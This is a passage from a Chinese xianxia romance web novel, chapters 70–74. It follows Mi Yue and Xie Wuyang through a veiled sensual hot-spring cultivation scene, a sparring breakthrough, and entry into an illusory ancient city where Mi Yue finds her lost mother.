哪怕有淡淡的薄雾相隔,也算得上赤诚相见了。 男人高大隽挺的身形步入池中,糜月半眯的眼尾也不由得微微睁大,目光扫过他宽阔结实的肩颈,紧绷又没有一丝多余赘肉的腰腹,方才恍然觉出自己这段时间吃得有多好。 薄雾缭绕,氤氲出的温度攀腾,池水中的倒映缓缓靠近,重叠在一起。炙热的呼吸喷洒在她的颈间,掀起熟悉的酥麻感。 蕴含灵力的温泉水,本就超乎人身体表的热,本就雪腻白嫩的肌肤在泡过之后,触手生温。糜月感觉到他扣在她腰后的掌心灼热,一抬眸看到他的耳廓和喉结处,原本冷白的肤色被这热气蒸腾熏染成淡淡的薄粉。 “你很热么?” 糜月伸手摸了摸,随意平常的询问,从她的唇瓣里吐出来,都像是在撩拨。 身前的人没有回应,而是轻而易举地把她从水里单手抱了起来。 宽大的手掌和指节陷进白皙丰腴的软肉里,谢无恙把她抱到池边的石台处放下,仅仅只是那片刻的功夫,她腿上便已留下了微红的指痕。 谢无恙的目光从那红痕上移开,低眸对上她的眼睛,他克制住想低头吻上她的欲/望,在她耳边道。 “池底太滑,怕你站不住……” 糜月确实有些站不住了,经过这些时日的双修,他似乎已经全然掌握了她身体的关窍,只是浅浅抵着徘徊,便已让她有些招架不住,浑身又酸又软。 此时坐着的石台让她有了个可以支撑的支点,而她的腿根处以下仍浸泡在泉水中,并不影响她充分吸收到水中的灵气。 反而借住泉水的浸润和包裹,在他尝试时,比平时更容易些。 臂弯中的人忍不住溢出一声轻哼,另一只托在她腰后的手不由得收紧。 在上回惹恼了她后,谢无恙吸取经验,更多了几分克制,他停下来,垂下潮湿泛红的眼尾,耐着性子问,“还可以再……多一点吗?” 惑人的水妖被捕获上岸,似是失去了呼吸的能力,受制于人,只能发出低低的气音来。晶莹的水珠沿着她面颊往下流,流过樱红的唇瓣,和精致小巧的下巴,分不清是汗还是溅起的池水,美得动人心魄。 他已然动情的眼眸里映入她失神的面容,手指插/进她脑后乌黑的长发缠绕,默认了她的回答。花瓣和落叶随风飘落在水面上,随着水波轻荡,彼此相互交缠着气息。 谢无恙还是有种活在虚幻里的荒诞感,像是怎么都喂不饱的困兽,又像是双手紧握住了两把流沙,看似抓得满满当当,但迟早会从指缝中倾泄掉落,直到两手空空。 他搂紧她,薄唇轻擦过她轻颤卷翘的眼睫,当做一个隐秘的吻。 糜月没有察觉到他的小动作,她已经被那脊椎过电般酸胀的触感夺去了所有心神,眼眶随之潮湿。 迷蒙间,她把眼睁开一条缝,看到身前人高大朦胧的身影将她侵没笼罩。 忽然想到了沈灵淇的话,质问她同他双修当真是为了修为吗,问她为何这么多年,他求着她双修,她都不愿,偏偏如今换成了谢无恙,她便乐意了。 她当时斥责了沈灵淇,如今再想起来,胸口仿佛被什么东西堵住,说不出辩驳的话。 甚至早在暗室里时,她还萌生过将他囚禁于此的念头。 她的确并不清白…… 起初把他绑来双修,她实是存了报复的心思,可怎么事到如今,怎么忍不住沉醉其中的人竟成了她…… 糜月忽然有点生气,也不知道是气自己不争气,还是怪他总在双修时做多余的事,扰动她的心神。 她红着眼睛,张口朝着他胸口处咬下去,耳边传来一记闷哼,身前的人没有躲也没有推开他,反而手指更紧地穿过她的发丝,扣住她的脑袋。 在她看不见的上方,谢无恙浑身僵硬紧绷,额头青筋乱跳,沉重的喘/息仿佛压抑着即将喷薄的火山,嗓音有些崩坏的紊乱,哑声唤她的名字:“糜月……” 少女埋在他胸前,迟迟没有松口,虎牙扯着他的皮肉,忽然间她感觉到手臂上扫过一条滑溜冰凉的东西,似乎覆着鳞片。 她头皮一麻,陡然清醒过来。 70-80 第71章 第 71 章 算半个神交。 糜月惊慌地低叫一声, 连带水花四溅。 她抓住谢无恙的手臂:“刚才有什么东西蹭了我的胳膊……” 那触感好像是蛇,这温泉池子里怎么会有蛇? 谢无恙额头忍出了汗,低头看了眼右边的胸肌处, 她这回没有那么狠地咬出血,但留下了浅浅的印记。 她下口的位置和他上回咬她的地方一模一样。 “是我的神相……”谢无恙闭了闭眼, “它不小心跑了出来, 别怕。” 她每次无意间的举动,都能撩拨得他失控, 若非她方才咬着那处不放,他也不会分神让白蟒趁机溜了出来。 面前的男人挡在她身前,每次被她咬, 都忍气吞声没有过抵抗,看着没有什么危险性, 而那条白蛇从水里探出脑袋, 似是觉察到她有点忌惮它, 只露出两颗芝麻大的眼睛, 不明所以地盯着她。 谢无恙能控制神相的大小, 平日战斗形态腰比水桶还粗的白蟒,此时被缩小成手臂长短,看起来和他那条能寻物的一丈仙小白蛇有点像。 小白蛇在水里吐了吐泡泡, 蛇尾摇摆, 想要朝她游过来。 “……你别让它过来。” 糜月搂紧谢无恙的手臂, 虽然这小蛇看着没有平日那条巨蟒可怖,还是有些畏怕。 谢无恙感受到她对白蛇的抗拒,往后瞥了一眼,白蛇也感受到主人想把它收回去的念头,立马定住不动了。 蛇尾有些委屈又有些暴躁地拍着水花。 许久未见, 它只是想过去蹭蹭她,舔舔她。 做到一半,被不请自来的神相打断,俩人都有些被吊住的难受。 谢无恙并不打算停止,修长的手指穿过她指缝,与她十指交握,“你可以把你的神相也放出来,它便不会只缠着你了……” 糜月将信将疑,她记得幼时被这坏蛇啃去花瓣的痛,更记得她入谢无恙灵府时,它缠住自己,险些强迫她做出超乎纲常之事。 而此时的小白蛇全然没有在灵府时的威风,仿佛只要谢无恙动一下神念,就会被立刻收进识海。 糜月轻轻咬唇,一条小蛇而已,她何须这么怕它。 幼时她的神相羸弱,才会被它得逞吞去,而她如今的烬花神相已经今非昔比,这条白蛇若是敢吞,只怕自己也会被烧得两败俱伤。 一朵九瓣烬花自她的掌心凝结飞出,如同绽放的菡萏,轻轻落在雾气氤氲的水面上。白蛇的注意力瞬间被那烬花吸引,它瞅了瞅糜月,似是知道主人在此,没有它容身的份儿,蛇尾一摇,立刻游向了那朵烬花。 白蛇围绕着烬花兴奋地游了好几圈,嗅闻着那朵花瓣上散发诱蛇香气,像是喝醉了似的,在水中翻腾地扭着腰身打滚。 糜月瞟见发癫的白蛇,忽然想到她曾见过野猫吃了荆芥叶子,也是这副就地打滚激动到流口水的模样。 而白蛇的主人则淡定很多,那双狭长的眼眸比平时暗沉,像是浸了墨,根本让人猜不透他在想什么,但那处如烙铁般的炙热骗不了人,烫得她双手双脚都有些发软。 糜月的青丝乌发全被泉水浸湿了,唇瓣嫣红得像抹了胭脂,一只手与他相扣,另一只水葱似的手指贴上他紧绷的腰腹,无声示意他继续。 谢无恙倾下身子,把她往身前拢得更近了些,薄唇擦过她额前的碎发,再被那无边的温软湿热包裹之前,他察觉到什么,手指掐诀,随手凝出灵力,一道灵力屏障笼罩了整座池子,隔绝了所有的声响。 …… 谢无恙出现在怜花池时,不仅江蘅,还有不少弟子都瞧见了,宫主很少来这怜花池,众人难免好奇地往最顶处的池子里张望。 可惜都被那两扇屏风遮挡得严严实实。 正当众人收敛起好奇心时,最靠近顶层池子的薛紫烟和江蘅,忽然听到屏风后传来一声低低惊叫,伴随着水花拍打声,还有几声低语。 正在打坐的江蘅和正吃葡萄的薛紫烟齐齐支棱起耳朵,抻长脖子,结果还没听清那人声说了什么,声音如同被隔绝了般,戛然而止。 江蘅嘀咕地问薛紫烟:“怎么没动静了?” 她清咳一声,继续吃葡萄:“你怎么什么都好奇,什么都想偷听?” 同时心道,那隔音屏障肯定不是宫主放出来的,至于么,都来泡露天温泉了,还这般谨慎。 江蘅眨眨眼,脸都被她说红了。他没想偷听,是那声音自己传过来的,而且他方才明明见她也坐直了。 “我只是好奇,糜月用什么法子竟能让谢无恙肯给她当侍宫……”江蘅凑近薛紫烟小声道。 月月既然不是他俩的娃,江蘅此时回想起来,当年在无涯学宫,糜月和谢无恙的关系也并不算好,甚至在第一堂神识课上,谢无恙的神相还伤过糜月。 谢无恙和他这个挂名少主不同,他在隐剑宗的地位,仅次于掌门,何苦来烬花宫做侍宫呢,他都不禁猜测谢无恙是不是有什么把柄落在糜月手里了。 薛紫烟挑眉:“谢无恙又怎么了,我们宫主风华无双,配得上天下所有男俢。” “……” 江蘅沉默。 他算是看出来了,烬花宫所有弟子都对糜月有着近乎狂热的仰慕和崇拜,而他是秀才遇上兵,有理说不清。 …… 隔音屏障内,层叠缭绕的薄雾,随着水汽升腾,凝成露水坠在草叶尖,将落不落。 水珠同样地滑过男人宽阔的背脊,沿着肌肉线条的纹理滴进水面。 谢无恙虽然已经来此有些时日,但对烬花宫在双修方面的开放程度,仍有些水土不服。 若非有这两扇屏风相隔,他是不会同她在此双修的,他更不喜欢糜月会被别人窥听觊觎。尽管他知道自己没有资格对此要求什么,可那份想要把她独占的欲/望没有一刻停止过,还在不受控地与日俱增。 “谢无恙……好像有点……不对……” 糜月吃力地发出几个音节,睫毛湿润地发抖。 她看到他身后,白蛇已经不满足嗅闻她神相的气息,伸出分叉鲜红的蛇信,去舔舐烬花的花瓣。烬花上燃烧的火焰,竟被它一点点舔去,花瓣簌簌轻抖着,仿佛被它舔得很痒。 两种全然不同的气息,竟开始渐渐相融起来。 神相的感知同步传达到她的脑海,糜月的神识也仿佛被蛇信一下下舔过,刺激得她脚趾都蜷缩了起来,抓着他的手臂无意识地抓出了血痕。 “这算是……”糜月迷茫又有些吃不消地停顿着说,“神交么?” “勉强……”谢无恙低眸看着她的眼睛,嗓音涩哑,“算半个罢。” 拉她入灵府,再以神相交/合,才算是真正的神交。谢无恙怕吓到她没有说,她能允许他放出神相,和她共沐一池温泉,已经是天大的进步了。 察觉到她比往常格外剧烈的反应,看着她因自己而战栗,扬着纤细的脖颈,眼尾泌出欢愉的眼泪,连带着他也跟着胸腔震动,心跳如鼓点般跳动。 谢无恙同样有些许被满足到的怡悦。 她好像没有那么讨厌他的神相了……而且似乎很喜欢蛇信舔舐的感觉? 谢无恙压下从心底深处滋生出来的,某些蠢蠢欲动的心思,彼此相拥着,任由身体和神识都沉沦在这温热暖融的泉水中…… 许久。 浑厚温润的灵力灌进穴窍,沿着灵脉游走了一遍,糜月才找回了自己的意识和力气。 体内充盈饱胀的灵气满到快要溢出来,烬花神相已经被她收回识海,花瓣上面全是白蛇的涎水,沾染了明显不属于她的气息,带着幽冷和丝丝凉意。 白蛇如同吃到糖的孩子,餍足地肚皮朝上瘫着,在水面上漂浮着,蛇尾时不时地摆动一下,不让自己沉下去。 谢无恙神念一动,也把它收了回去。 糜月后知后觉地品出来,他竟然擅自把神相放了出来,正想责问他时,忽然发现那股幽冷之气并没有损伤她烬花神相的火焰,反而让她烬花虚影更壮大了一丝。 她不知是不是自己的错觉,便问及谢无恙,他说:“属性相合的神相在交融之后,是会有强化神念的功效。” 糜月很惊讶。 只是让那蛇舔了舔,就能有这种好事? 神念可比修为难增涨多了,几乎只能靠着破镜和日经月累,才能增涨少许。 于是此后,每回双修,糜月便让谢无恙把白蛇放出来,同自己的烬花神相放在一起,让它们去玩。 由此,两个月之后。 糜月感觉到自己已然摸到了九重境的瓶颈。 她快要突破了。 …… 第72章 第 72 章 突破九重境,打开石门。…… 突破瓶颈通常有两个办法, 要么靠不断地增涨修为,将其自然而然地冲破,要么靠在战斗和搏杀中, 激发出潜力,突破那层屏障。 前者很耗费时间, 糜月等不了, 于是她拉着副宫主们陪她打架练手。 供弟子切磋的演武台前,人影交错, 神相的光芒和拳脚带起的风声不绝于耳。 “宫主,我不行了……” “我也不行了,手腕好酸, 饶了我罢。” 糜月还没怎么耗费灵力,副宫主们已经瘫了一半, 有些还没上场的副宫主见状, 忙借口宫中还有事未处理完, 当即拔腿开溜。 半年前的糜月还能同她们切磋得有来有回, 随着她找到心法接连突破, 她和副宫主们的修为已经拉开了三个大境界,就连副宫主里修为最高、最年长的廖红叶,拿出全力也在糜月手下撑不过二十招。 她喘息着挥挥手, 副宫主们作鸟兽散。 这就是修为高的苦恼吗, 竟连一个陪练都找不出来。 糜月郁闷间, 忽然瞥见台下梨花树下站着一道清隽挺拔的身影,她怎么把谢无恙这个人形沙袋给忘了! “谢无恙,你来陪我过招。” 糜月今日穿着莲红色束腰战裙,头发上难得没多坠饰,只别着一根凤尾羽簪, 日光穿过云层映在她身上,如远山含黛的眉眼生动鲜活,下巴微扬,“你就当是在同我以命相搏,生死决战,不许放水!” “好。”谢无恙应声。 台下,聚集着许多弟子在看热闹。 年轻的侍宫们给各自刚从演武台上下来的副宫主们,捏肩捶腿。江蘅也站在薛紫烟身后,手拿着绢帕,帮她擦着汗。而台上,糜月同谢无恙已悍然出招,灵气震荡,烬花虚影和闪烁的剑光令人眼花缭乱。 江蘅心下惶惶,这年头,侍宫不仅陪睡,还要陪练的吗? 这也太难了。 烬花虚影悬挂空中,比天边的烈阳更炽热,无穷无尽的火焰球从花瓣边缘散落,袭向台上的人影。 无为剑挡在谢无恙的身前,以剑柄为圆心,旋转着形成了一扇盾牌,卸去了大部分的攻势。 糜月操纵着烬花靠近,无数的火焰球几乎凝成了一条火蛇,从四面八方地朝谢无恙抽去。经过这些时日的双修,她经脉里的灵气鼎盛,连同烬花神相也更凝实,谢无恙不敢大意,后撤了两步,那道火蛇紧跟不舍地咬向他。 众人只见前面白光一闪,一条体型不逊于那条火蛇的白蟒神相出现在谢无恙身前,与火蛇相撞,撞出无数碎落的火焰。 白蟒晃晃头,抖落脑袋上的火焰,碧绿的竖瞳瞅瞅糜月,又瞅瞅空中旋转的烬花,对眼前的情况一脸懵然,似是不明白这俩人怎么就突然打了起来?明明昨晚他们还在一张床上这样那样。 白蟒不顾主人的指令,吐着蛇信,像条闻着味的大狗似的凑过去想和烬花打招呼,烬花察觉到那熟悉的幽冷气息的靠近,没有再喷发火焰,犹豫地往糜月身旁飘了飘。 意识到彼此之间的神相太熟,打也打不起来,糜月收回烬花神相:“算了,不用神相打了,用武器吧。” 糜月平日嫌麻烦,最惯用的招式就是神相辅以掌法,但并不代表她不会兵器,相反,她什么武器都会用一点。 她平时太依靠神相了,舍弃神相不用,反而可能会更激发她的潜力,从而突破瓶颈。 她从储物袋里拿出一条软鞭,对谢无恙扬眉道:“再来。” 糜月没有本命法宝,更没有能和无为剑匹敌的利器,若换成其他武器,必然会落了下乘,只能用软鞭以柔克刚,反而能有一敌之力。 琼山之巅,风声朔冽。 鞭稍所到之处,仿佛能撕裂空气,每一次软鞭和无为剑的碰撞,都会发出清脆的啪啪声,仿若新春的爆竹,火花同灵光四溅。 糜月握着鞭柄的手心,不知不觉间冒出了汗。 谢无恙果然没有放水,每一次剑尖呼啸着险而又险地贴着她扫过,她能感到那股久违的身临险境之感。 体内的灵力如同涨伏的浪潮,带动那层瓶颈仿佛鼓胀到随时会裂开的水球。 谢无恙感受到她灵气的不稳,引导着她挥鞭将杂冗的灵力散出,连同琼山上空的薄雾都被这两道对立的强大力量,搅动着雾气涌动。 待到雾气微散,风声静止之时。无为剑的剑尖停留在糜月眉心一寸之距,而她手中的软鞭则如滕蔓般紧紧缠绕住了剑身,无法挣动分毫。 …… 虽然同谢无恙的第上百次切磋,仍未分出胜负,但酣畅淋漓地打过一架之后,糜月明显感觉到那瓶颈几欲冲破的松动,回到寝殿之后,她立马趁热打铁地开始打坐运转心经。 谢无恙陪在她身边,同时为她加护了一道灵力屏障。 这次,她有了烬虚诀心经,还有他在旁看护,定不会再出现那走火入魔的意外状况。 面前的少女双眸紧闭,身上的灵气有些躁动,因为专注冲击境界,肤色有些发热地泛红。 谢无恙静静地看着她,思绪则有些纷乱。 从天亮到天黑,在香烛都快燃灭之时,屏障内躁动的灵气渐渐平息下来。 打坐中的少女睁开了眼,眼眸被灵气荡涤得清亮,她反手凝出九瓣烬花,花瓣周身多了一缕淡淡的金芒,仿佛绽放在最繁盛之时,灼目漂亮,散发着比先前浓郁数倍的灵气。 “谢无恙,我突破了,”糜月倏地起身,伸手紧紧地拉住他的袖角,激动得连音调都变高了几分“我突破九重境了!” “恭喜。”谢无恙低眸看她,嗓音温沉。 “怎么感觉你这声恭喜有些敷衍,似乎不太诚心?”糜月眼尾微挑地打量他,她激动得都快蹦起来了,他的反应也太过平静。 “没有,”谢无恙眉眼舒展,“我是真心为你开心。” 仅用了三个月就突破了九重境,突破了许多人这辈子都无法达到的境界,但他知道她一定可以。 糜月知道他天然一副冷情的脸,开心和不开心都不会写在脸上,并未想太多,她现在只想立刻飞到隐剑宗,打开那道石门。 于是果断道:“我命人去准备灵舟,我们现在就启程,去地宫。” “糜月,你有没有想过,那石门之后会是什么?”谢无恙犹豫了片刻,终是忍不住问她。 当年糜芷音既然能打开那道石门,进入其里,说明她也已经突破到九重境的修为,在这世上罕有敌手,她若平安无事,为何这么多年闭门不出,连个消息都不曾传给糜月这个女儿。而她若身陷囹圄,那便代表那道石门后,有连九重境界都难以应对的东西。 那道石门打开之后,会发生什么,不得而知。 他不得不做好最坏的打算。 “不知道,但是……管他呢,神挡杀神,佛挡杀佛,”糜月眼神无比坚定,“我一定要找到娘亲。” 谢无恙抿了抿唇,并不意外她的答案。 他甚至比任何人都希望她娘亲无事,若非如此,糜月对他的心结难解,她娘亲是她最珍重之人,她能为了她娘亲与他双修,也能为了她娘亲,毫不犹豫地朝他挥刀相向。 对他来说,这段时日好比黄粱一梦,推开石门,或许,梦便要醒了。 …… 潮湿滴水的地下甬道,唯有头顶夜明珠散发着浅淡的光辉,照亮了狭窄的视野。 糜月抬头看着面前高大神秘的石门,时隔快三个月,重新站在这门前,比起初来时的火急火燎,如今已是胸有成竹。 她低头牙齿咬破指尖,鲜血滴滴流进特制的石槽。 糜月的目光一瞬不瞬地随着那被点亮的纹路,眼看石门上镶嵌的星芒阵眼逐渐被挨个点亮。 她难免又有些紧张地咽了下口水,这次应该没问题了吧? 星芒被无形的力量串联起来,最后那颗上次没有被点亮的黯淡星芒也骤然迸发出白光,石门上的阵法被彻底激活,发出低低的嗡鸣震动声,厚重的门扉缓缓上升,抖落经年的灰尘。 尘埃散去之后,露出门后的景象,门后只有一团深不见底的漆黑迷雾,仿佛通向着另一处领域。 糜月正想迈进去时,忽然想到什么,脚步一顿,转身对身后的人道:“谢无恙,我相信你的话,也谢谢你带我来此。这黑雾里或许会有危险,那有我娘亲的气息,但你的师父未必会在里面,你没必要同我一起冒这个险……” 她当然知道这门后会有危险,但找寻娘亲是她自己的事,而且又是在地下秘宫里这般隐私之处,所以她只想着独身前往,没有带一个弟子,也不想牵扯到旁人。 从谢无恙带她过这里后,他们仿佛就莫名绑定在了一起,但她好似从没问过,谢无恙他愿不愿意进这道石门。 糜月没注意到她越说,谢无恙的脸色越微妙。 话音还没说完,身旁人便先一步走进了那黑雾之中,让她剩下的话卡在了喉咙里。 “……” 糜月忙紧跟着踏入门后黑雾,随着二人的身影消失,那道沉重的石门落了下来。 短暂的黑暗之后,眼前光影变幻,逐渐明亮起来,嘈杂鼎沸的人声便如汹涌的潮水,先一步灌进耳膜。 糜月走得太快,不小心撞上谢无恙的后背,她稳住身形后,抬头一看,继而和他一同呆愣在原地。 空气中弥漫着湿润的气息,仿佛刚下过雨,地上的青石板湿漉漉的,泛着清冷的光。四周人流如织,来往的行客和商贩步履匆匆,有的商贩推着小车从他们身旁经过,带起一阵微风,偶尔有马车疾驰而来,车轮飞滚,溅起泥水,惊得路人慌忙避让。 糜月惊异地环顾完四周,目光凝于不远处耸立的城墙,挂在城头上的城门匾有些饱经风霜的古朴,但上面的字迹依旧醒目。 这里竟然是隐剑宗山脚下的……玉京城? 第73章 第 73 章 娘亲……是你吗? “我们怎么回到了玉京城?” 糜月喃喃自语, 但是又感觉哪里不太对劲。 她印象里的玉京城的门头是用整块的玉石雕刻的,十分气派,这块城门匾却是木雕的, 脚下的会松动溅泥的青石板路,似乎也不比先前她随谢无恙进城那次见过的平整。 她心里闪过一个念头, 和谢无恙所说不谋而合。 “这里是数千年的玉京城。” 周围的人流太多, 谢无恙怕她和自己走散,握住她的手腕拉到身边, “我们进入了一处特殊的秘境里,这些城民还有这座城,都是幻象。” 秘境么…… 糜月怎么也没想到, 门后竟然是这般景象,她的娘亲竟然被困在了这数千年前的城镇中? 为更进一步打听情况, 糜月压下心中波澜, 同谢无恙随着熙攘的人潮步入城门。 一入城内, 主街之上的烟火繁华之气铺面而来, 各色商贩的叫卖声不绝于耳。 街边卖云吞和豆花的小吃摊前散发着袅袅炊烟, 目光前移,琳琅满目的瓜果蔬菜、和色彩斑斓的布匹绫罗整齐地罗列。 但更多的是卖鱼摊,因为玉京城特殊的环海地貌, 数千年前, 这里的城民也多是靠卖鱼为生, 走几步就能看到新鲜捕捞上来的鱼虾,装在木桶和竹篓之中。 行人或匆忙赶路,或驻足在摊位前挑选、称重、议价,仿佛一副流动的市井画卷,不像是幻境, 更像是真实存在的景象。 “这幻象未免也太真实了。” 糜月甚至都闻到了小吃摊里飘过来的香味。 “嗯,这幻象并非凭空捏造,这些人都是数千年前真实存在过的,但时间被定格在了这一年。” 谢无恙沉思地说,这幻境设在地宫石门后,说明这幻境是出自烬花宫的某位前辈之手,那位前辈能将整座玉京城都复刻了出来,可见修为之高深莫测。 但要在这么大的城池里寻一个人,难度未免太高了。 糜月问他:“你的一丈仙还能用吗?” 谢无恙闻言从储物袋里拿出那只装有一丈仙的小木匣,小蛇蜷缩在木匣角落里,仍旧是上回那副病怏倦怠的模样。 一丈仙有着不逊于定元珠的寻人能力,但代价是极为消耗寿命和精力,使用完一次后,至少要休养三年才能恢复过来。 眼下一丈仙虽然不能领路,但还能同谢无恙简单的交流,它强撑起脑袋,细小的蛇信舔了舔主人的指尖。 “它说,我们所寻之人的气息附近有很特别的气味,和我后院中的某种气味很相似……”谢无恙抬眸对她道。 悬海阁后院?那里能有什么气味? 糜月拧眉沉思片刻,恍然地一敲掌心:“……是不是晒的咸鱼干?” 上回玉京城突发海啸,谢无恙带着弟子们去救援,后来程令飞拿来好多咸鱼干送来了悬海阁,他那风雅清幽的小院如今晾满两排的咸鱼干,若说后院有什么气味,那一定是那咸腥味扑鼻的鱼干味。 二人都觉得这个猜测很有可能,糜芷音所在的地方一定也晾晒着咸鱼干。 虽然有了咸鱼干这条重要线索,但玉京城很大,占地不止千亩,集市分为东市和西市,住宅区也分为外城和内城。城中有不少的鱼贩和渔民,他们常常把卖不掉的鱼获都晒制成咸鱼干,包括一些寻常百姓,也喜欢在院中晾晒鱼干作为过冬口粮,如此一家家找下来,也是一桩大工程。 谢无恙从小在隐剑宗长大,对玉京城尚算熟悉。虽然这是数千年前的幻境,但大概的建筑布局并未有太大变化。 他从储物袋里拿出笔墨,按照记忆,画出了一副简略版的玉京城地图递给了糜月。二人商量决定分开找,一个时辰后再回到主街集合。 糜月拿着地图,从最外围的闾里开始找,一连找了十几家院中晾晒咸鱼干的人家,尚一无所获。 她觉得这样下去太费时间,一扭头看见街边角落有个卖鱼的摊位,于是拿着地图走上前。 “大叔,能不能和你打听个事儿啊?” 卖鱼的小贩带着宽沿的草编斗笠,低头盖着脸,手起刀落,半人高的大鱼瞬间像切猪肉一样,被分成了血淋淋的几块,糜月看不出他的年纪,只好在“大叔”和“大爷”之间选了个更保守的称呼 。 “鱼腹十三文钱一斤,鱼尾和鱼头十文一斤。”鱼贩头也不抬地道。 “……” 糜月看出若是不掏钱买鱼,这鱼贩大抵不会再搭理她,于是伸手往储物袋里摸了摸,幸好她平日里也喜欢在城里逛街,买些凡人用的玩意,身上有些散碎银钱。 她放下一块亮堂堂的银锭,成功让鱼贩砍鱼的动作一顿。 “大叔,我不买鱼,只想问问你,你应该认识挺多捕鱼和卖鱼的人家吧,能不能帮我在这张地图上面做个标记?”糜月拿着地图和笔递向他,渔民之间往往相互认识,若能帮她画出范围来,能省下不少时间。 “你不买鱼,那是要买咸鱼干?” 那斗笠闻言往上抬了抬,露出了胡子拉碴的半张脸,木然道:“咸鱼干晾晒起来费功夫,要三十文一斤,你若是要,我可以回家拿。” “……” 糜月还没来及解释,忽然感觉脖后一凉,伸手摸到了些许湿意,豆大的雨粒没什么预兆地从天上砸了下来。 她抬头望向天空,前一刻还澄澈湛蓝、艳阳高照的天,在须臾之间乌云堆积,云层之后似有银蛇蛰伏,隐隐闪烁的电光在云缝后若隐若现。 随着一声闷雷乍响,雨势在顷刻间变大,形成密集的雨幕,天地之间白茫一片。 “打雷了,下雨了,收摊了,快回家收衣服咯!” 不知道是谁一声高喊,仿佛行军前的号角,街边所有的摊贩们纷纷回过神,手忙脚乱地收起摆放的货物,有的七手八脚地把果蔬往箩筐里塞,有的匆忙卷起摊布,雨水顺着手臂淌下,还有的在慌乱中碰倒物件,只能在雨水中匆忙摸索着捡起。 卖鱼的大叔也把没卖完的鱼肉塞进背篓,匆匆地收摊离去,糜月才发现他那斗笠,原来不仅是遮太阳还能挡雨。 糜月掐了一道灵诀,灵气屏障包裹了她周身,隔绝了雨幕。 她忽然发现这城中都是凡人,竟无一位修士,那些与她擦肩而过的摊贩们也仿佛看不见她身上与众不同的屏障,只顾着躲雨。 “糜月……” 谢无恙从人群中现身,身上也散发着灵气屏障的光晕,“你有线索了么?” 糜月眉头微锁,轻摇了摇头。 谢无恙心下微微叹气,他在东市找了二十多户人家,也同样一无所获。 又是一道惊雷炸在天边,四散的电光如同张牙舞爪的巨龙,在乌云的禁锢下挣扎,霎那间将阴沉的苍穹映照得恍如白昼。 这雷声震得大地仿佛都在震颤,雨势更如天河倾泄,反常地大,这狂暴的态势,有些像海啸来临前的模样。 糜月和谢无恙都从彼此眼中看出了不对劲。 “走,去海边看看。” …… 玉京城外的海域之上。 一头身长数十丈的蛟龙正在海面上狂暴地盘旋,粗壮有力的龙尾掀起巨大的漩涡,仿佛能吞噬着天地万物,汹涌的浪潮一浪盖过一浪地拍打着岸边嶙峋的礁石,溅起冲天的水花。 在一块耸立的礁石上,赫然站立着一道淡青色的纤细人影,衣裙被海风卷着猎猎作响,身影却如苍松般稳稳伫立,随着她扬手,一朵烬花虚影从她手心飘起,升向铅沉厚重的空中,成了乌沉天幕里唯一的亮色。 烬花周身包裹熊熊燃烧的火焰,在海风中翻腾变幻,须臾间凝成如同万人齐发的火箭之阵,带着毁天灭地的气势,朝下方作恶的龙影齐射而去。 蛟龙感受到威胁,发出更加暴怒的吼声,张开龙嘴,一道道闪耀着刺目光芒的雷球冲天而起,在快要触碰到烬花神相时,仿佛撞上了一道无形的结界屏障,发出噼里啪啦的爆响,化作天边道道蜿蜒曲折的闪电,狂暴的能量几欲将那层透明的屏障震碎。 那朵烬花的形状和糜月的烬花有些许不同,糜月的烬花像是九瓣莲花,而这朵烬花的花瓣交错层叠,更像是一朵盛开到极致的牡丹,大气磅礴。 随着那无数道火箭落下,仿若流星坠海,有些散落海面,有些落在了蛟龙身上,蛟龙顿时如同下进热油锅里的泥鳅,疯狂地扭动硕大无朋的身躯,掀起数丈高的海浪,每一道星点闪烁的火焰,都在那坚厚的龙鳞上留下了浅浅烧焦的痕迹。 那蛟龙终究难抵那火焰灼烧之痛,愤怒长吟着嘶吼两声,随后一个猛子扎进深邃无垠的海面,转瞬消失得无影无踪。 随着那蛟龙离去,天空恢复了往昔的平静,雷声和闪电也随着慢慢消散平息。 糜月在看到那抹屹立在岸边的身影时,心脏仿佛被一只大手狠狠捏住,眼瞳不受控地颤动,瞬间连灵气屏障都忘了维持。 未尽的雨滴肆意落在她的脸颊和额头,沿着微微泛红的眼角往下流淌。 “娘亲……是你吗?” 她声音很轻,带着小心翼翼的试探和哽咽,似是怕惊动了那道仿若梦幻泡影般的身影。 糜月不敢相信,她日思夜想、魂牵梦萦的人就这样毫无征兆地出现在了她的面前。 这真的是她的娘亲么?还是这幻境刻意为她营造出的幻觉? 不远处的身影仿佛心有灵犀,此时倏然转过身来,露出了和糜月有些相似的面容,一双美目里同样藏不住地意外和惊愕。 “……月月?” 第74章 第 74 章 过往。 秦不眠回到家中院落, 将今日没卖完的鱼肉腌制起来,一部分拿出当做今日的伙食。 今日的雷雨来得快,去得也快, 每逢雷雨天,芷音都要出门, 秦不眠像往常一样蹲在门槛处, 手里拿着竹条一边编鱼篓,一边等她回来。 天边乌云渐散, 日头又冒了出来,暖阳的日光将蓑衣上的湿意蒸发,秦不眠听到巷口里传来脚步声, 摘下斗笠,期待着扭头望去, 面前却出现了三道身影。 谢无恙脚步猛地顿住, 紧盯着门槛上那人, 露出了糜月见到糜芷音时同款不敢置信的表情。 “……师父?” 糜月一直搂着糜芷音的胳膊不肯撒手, 此时闻言望去, 才留意到门槛上蹲着的那人。心头疑惑,这不是刚才在街上的那个卖鱼大叔吗? 她看了看站定不动的谢无恙,看了看表情微妙的娘亲, 又定睛仔细瞧了瞧那大叔。 后知后觉地反应过来, 震惊地瞪大眼睛。 他他他、他竟然是秦不眠? 面前的男人穿着粗布衣衫, 下巴上留着短短的胡茬,右边半张脸从额头到下巴被一条狰狞的伤疤覆盖,纵贯了他的右眼,右眼始终紧闭,显然是瞎了。 虽然五官英挺, 能辨认出年轻时的模样,可糜月还是无法把面前这个糙汉,和曾经那个玉树临风的隐剑宗掌门联系到一起。 糜芷音推开院门,让他们进来,转身看到神色有些防备的秦不眠,安抚地对他笑了下,道:“今日有客登门,我先招待下客人……” 秦不眠哦了一声,把鱼篓收拾到旁边,腾开下脚的地方,糜月则跟着娘亲走进了屋内。 紧关上屋门后,她再忍不住激动的情绪和重逢的喜悦,一头扎进了糜芷音的怀里。 “呜呜呜,娘亲我好想你啊,我还以为你已经……你真的还活着,我是不是在做梦啊?” 糜月紧搂着娘亲的腰,鼻尖通红,眼泪在眼眶里转了几圈,终是存不住地落下来,蹭到了糜芷音的衣襟上。 无论,她在外人面前如何强势,是如何令人谈之变色的烬花妖女,可是在娘亲面前,她永远是个长不大的女孩。 “傻姑娘,怎么还这么爱哭?”糜芷音见她哭,心里也酸楚得难受,双手托起她的脸,“让娘亲好好看看,模样变了没有……” 